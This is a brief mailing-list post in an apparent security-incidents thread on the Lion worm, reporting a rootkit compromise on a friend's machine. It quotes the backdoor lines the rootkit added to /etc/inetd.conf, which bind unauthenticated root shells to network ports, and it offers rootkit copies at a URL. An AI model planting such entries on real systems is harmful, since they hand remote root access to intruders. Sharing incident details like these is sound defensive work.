Security Incidents: Re: Lion Worm/crew.tgz

[John Jasen <jjasen1 () UMBC EDU>]

A friend of mine just got slapped silly with a lion-type rootkit.

the entries added in /etc/inetd.conf are as follows:

smux stream tcp nowait root /bin/sh /bin/sh -i
1008 stream tcp nowait root /bin/sh sh
asp stream tcp nowait root /sbin/asp

I have copies of the ramen.tgz kit and what was placed in /dev/.lib
available at http://www.qis.net/~jjasen

--
-- John E. Jasen (jjasen1 () umbc edu)
-- In theory, theory and practise are the same. In practise, they aren't.